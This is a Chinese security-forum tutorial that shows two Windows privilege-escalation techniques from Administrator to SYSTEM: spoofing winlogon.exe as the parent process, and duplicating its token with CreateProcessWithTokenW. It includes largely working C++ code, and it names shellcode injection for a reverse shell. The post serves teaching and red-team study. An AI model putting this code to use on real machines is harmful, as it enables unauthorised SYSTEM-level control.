内核攻防-(1)高权限继承
leviathanraiden 发表于 江苏 历史精选 1953浏览 · 2024-11-02 03:03

背景

很多刚入门的小白,会比较好奇MSF或者是Mimikatz是如何从Administrator的权限直接提升到System权限。有一种现象就是令牌窃取。通常指的是获取一个高权限进程的访问令牌,然后通过模拟用户 (ImpersonateLoggedOnUser) 或使用该令牌启动新进程。

这里是站在以后在后渗透内核攻防后的做下铺垫,并不是传统意义上的令牌窃取提权。因为后续在内核漏洞利用中,多次使用了这种权限继承的思想进行提权。

这里要区分一下,这里和常见的大多数土豆提权不同,土豆是用 SeImpersonatePrivilege,这个权限常见于服务账户,如(IIS, SQLServer等)

方法一-代码流程

1. 启用 SeDebugPrivilege 权限

功能EnableDebugPrivilege() 函数的目的是启用调试权限 (SeDebugPrivilege),使程序能够操作其他高权限进程,例如 SYSTEM 权限进程。

代码要点

  • 通过 OpenProcessToken() 获取当前进程的访问令牌。
  • 使用 LookupPrivilegeValue() 查找 SeDebugPrivilege 的 LUID 值。
  • 使用 AdjustTokenPrivileges() 来调整进程的令牌,使得 SeDebugPrivilege 启用。

2. 查找 SYSTEM 权限的进程 PID

功能FindSystemProcessId() 函数查找具有 SYSTEM 权限的进程,例如 winlogon.exe,并返回其进程 ID (PID)。

代码要点

  • 使用 CreateToolhelp32Snapshot() 获取系统中所有进程的快照。
  • 使用 Process32First()Process32Next() 遍历进程列表,通过 _wcsicmp() 查找目标进程名称。

3. 打开 SYSTEM 权限的进程句柄

功能:通过 OpenProcess() 函数,使用获得的 PID 打开目标进程的句柄,以便后续用作新进程的父进程。

代码要点

  • 使用 OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) 打开目标进程句柄。
  • 确保程序以管理员权限运行,否则可能会遇到 ERROR_ACCESS_DENIED 的错误。

4. 初始化 STARTUPINFOEX 结构体

功能STARTUPINFOEXA 结构体用于存储进程启动的详细信息,包括额外的进程属性列表。

代码要点

  • 使用 ZeroMemory() 初始化结构体。
  • 调用 InitializeProcThreadAttributeList() 来获取所需的属性列表内存大小,并分配属性列表。

5. 使用 UpdateProcThreadAttribute 设置父进程属性

功能:将 SYSTEM 权限进程句柄设置为新创建进程的父进程。

代码要点

  • UpdateProcThreadAttribute() 函数用于更新属性列表,将 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 设置为之前获取的进程句柄。
  • 如果失败,建议使用 GetLastError() 进行诊断,以了解失败的具体原因。

6. 创建新的 SYSTEM 权限进程

功能:通过 CreateProcessA() 创建一个新进程(如 cmd.exe),并继承之前设置的 SYSTEM 权限。

代码要点

  • 使用 EXTENDED_STARTUPINFO_PRESENT 标志,确保 STARTUPINFOEXA 结构体中的扩展属性生效。
  • 通过传递 "C:\\Windows\\system32\\cmd.exe" 创建一个新的命令行窗口。

关键代码如下(不完整)

HANDLE pHandle = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size = 0;
BOOL ret;


// 前面已经 启动了 SeDebugPrivilege 的权限
// 读者可以自行去查找如何用 {C/C++代码启用 SeDebugPrivilege 权限}


// 打开 SYSTEM 权限的进程(如 winlogon.exe)
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!pHandle) {
    std::cerr << "Error opening PID " << pid << " (" << GetLastError() << ")\n";
    return 3;
}

// 初始化 STARTUPINFOEX 结构
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// 获取所需的内存大小来创建属性列表
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);

if (!si.lpAttributeList) {
    std::cerr << "Failed to allocate memory for attribute list.\n";
    CloseHandle(pHandle);
    return 4;
}

// 初始化属性列表
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size)) {
    std::cerr << "Failed to initialize attribute list.\n";
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(pHandle);
    return 5;
}

// 设置 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 属性
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL)) {
    std::cerr << "Failed to update attribute list.\n";
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(pHandle);
    return 6;
}

// 接下来直接用 CreateProcess 即可

方法二-代码流程

1. 启动 SeDebugPrivilege(一般管理员是禁用的,但可以通过权限提升开启)

  • 函数名称EnableDebugPrivilege()
  • 作用:通过调用 OpenProcessToken() 打开当前进程的访问令牌,并使用 AdjustTokenPrivileges() 启用 SeDebugPrivilege,从而使得程序可以操作高权限进程,例如 SYSTEM 权限的进程。
  • 具体步骤
    1. 打开当前进程的令牌,获取对其进行操作的权限。
    2. 查找 SeDebugPrivilege 的 LUID 值。
    3. 调整令牌权限,启用 SeDebugPrivilege
    4. 关闭令牌句柄,返回操作结果。

2. 查找 SYSTEM 权限的进程,例如 Winlogon.exe,返回该程序的 PID

  • 函数名称FindSystemProcessId()
  • 作用:通过遍历系统中的所有进程,找到具有 SYSTEM 权限的进程,例如 winlogon.exe,并返回该进程的进程 ID(PID)。
  • 具体步骤
    1. 调用 CreateToolhelp32Snapshot() 创建系统中所有进程的快照。
    2. 使用 Process32First()Process32Next() 遍历进程列表,查找进程名称为 winlogon.exe 的进程。
    3. 当找到目标进程时,获取其 PID,并返回该值。

3. 用 OpenProcess 打开 SYSTEM 权限的进程句柄

  • 函数名称LaunchCmdWithSystemPrivileges()
  • 作用:使用 OpenProcess() 打开 SYSTEM 权限进程的句柄,以便在后续步骤中获取其访问令牌。
  • 具体步骤
    1. 通过 FindSystemProcessId() 获取 winlogon.exe 进程的 PID。
    2. 使用 OpenProcess(PROCESS_QUERY_INFORMATION) 访问权限打开该进程,获得其句柄 (hSystemProcess)。

4. 打开 SYSTEM 权限进程的令牌并复制为新令牌

  • 函数名称LaunchCmdWithSystemPrivileges()
  • 作用:通过 OpenProcessToken()DuplicateTokenEx() 获取 SYSTEM 权限的访问令牌,并创建一个新令牌以用于新进程。
  • 具体步骤
    1. 使用 OpenProcessToken() 打开 SYSTEM 权限进程的访问令牌 (hToken)。
    2. 使用 DuplicateTokenEx() 复制该令牌,并创建一个新的主令牌 (hDupToken),该主令牌将被用于启动新进程。

5. 使用 CreateProcessWithTokenW 通过 SYSTEM 权限令牌启动新进程

  • 函数名称LaunchCmdWithSystemPrivileges()
  • 作用:使用 CreateProcessWithTokenW() 函数,通过获取的 SYSTEM 权限令牌启动一个新的命令行窗口 (cmd.exe),使新进程继承 SYSTEM 权限。
  • 具体步骤
    1. 初始化 STARTUPINFOW 结构体,用于设置新进程的启动信息。
    2. 使用 CreateProcessWithTokenW(),通过复制的 SYSTEM 令牌 (hDupToken) 启动 cmd.exe,并打开一个新的控制台窗口。
    3. 检查进程是否成功启动,并返回相应结果。

关键代码如下(不完整)

// 假设前面已经获取了 SeDebugPrvilege权限

DWORD systemPid = FindSystemProcessId();
if (systemPid == 0) {
    std::cerr << "[-] Failed to find SYSTEM process ID.\n";
    return false;
}

HANDLE hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPid);
if (!hSystemProcess) {
    std::cerr << "[-] Failed to open SYSTEM process.\n";
    return false;
}

HANDLE hToken;
if (!OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
    std::cerr << "[-] Failed to open process token.\n";
    CloseHandle(hSystemProcess);
    return false;
}

// 通过 DuplicateTokenEx 去复制 System的Token
HANDLE hDupToken;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) {
    std::cerr << "[-] Failed to duplicate token.\n";
    CloseHandle(hToken);
    CloseHandle(hSystemProcess);
    return false;
}

STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;

// 启动 SYSTEM 权限的 cmd
// 通过 CreateProcessWithTokenW 
if (!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL,
                                 CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
    std::cerr << "[-] Failed to start cmd with SYSTEM privileges.\n";
    CloseHandle(hDupToken);
    CloseHandle(hToken);
    CloseHandle(hSystemProcess);
    return false;
}

std::cout << "[+] Successfully started cmd with SYSTEM privileges.\n";

// 清理句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hSystemProcess);
return true;

两种方法比较

第一种方法。(CreateProcessA)则依赖于父进程的权限,有可能出现权限不足的情况,特别是在父进程可能不以 SYSTEM 权限运行的情况下。虽然在 winlogon.exe 的情况下通常是 SYSTEM 权限,但这种依赖使其不如第二种方法直接和明确。

第二种方法CreateProcessWithTokenW)确保了创建的 cmd.exe 完全以 SYSTEM 权限运行,无论父进程的具体设置如何。这种方法直接控制了权限,适用于需要完全控制的场景

进阶使用展示

在实战中,直接弹一个本地的System CMD 意义不是很大,就需要弹一个反弹的 CMD,作用可能会大一点,但也不是很OPSEC。不过这里作为基础篇,就不太过多延申讲解。

这里是已经点击了UAC,开启了以管理员权限的CMD,然后通过OpenProcess,和 VirtualAlloc 去反弹一个 CMD的shell

这里可以采用这个项目进行回连,这个项目主要思想是直接使用 SeDebugPrivilege,直接把 Shellcode 通过 VirtuallocEx 、WriteProcessMemory、CreateRemoteThread注入到System权限里。

xct/SeDebugAbuse: Get SYSTEM via SeDebugPrivilege

致谢

非常感谢 @指尖浮生 师傅这半年来无私的教导和耐心指导,带我一步一步走进了红队的世界。在这段时间里,师傅不仅传授了宝贵的技术经验,还让我深刻理解了红队的精神与责任。

这一路上从迷茫到逐渐找到方向,从陌生到越来越多地融入这个领域,师傅一直是我身旁最重要的引路人和支持者。我感受到的不仅是技术上的成长,更是对安全攻防的敬畏与对自我挑战的激情。

感恩这段时光,也期待未来继续向师傅学习,精进技艺,去探索更多未知的边界。

1 条评论
某人
表情
可输入 255
隔壁_老钱
2024-11-21 08:26 北京 0 回复

@指尖浮生太牛了,也带我走进了红队世界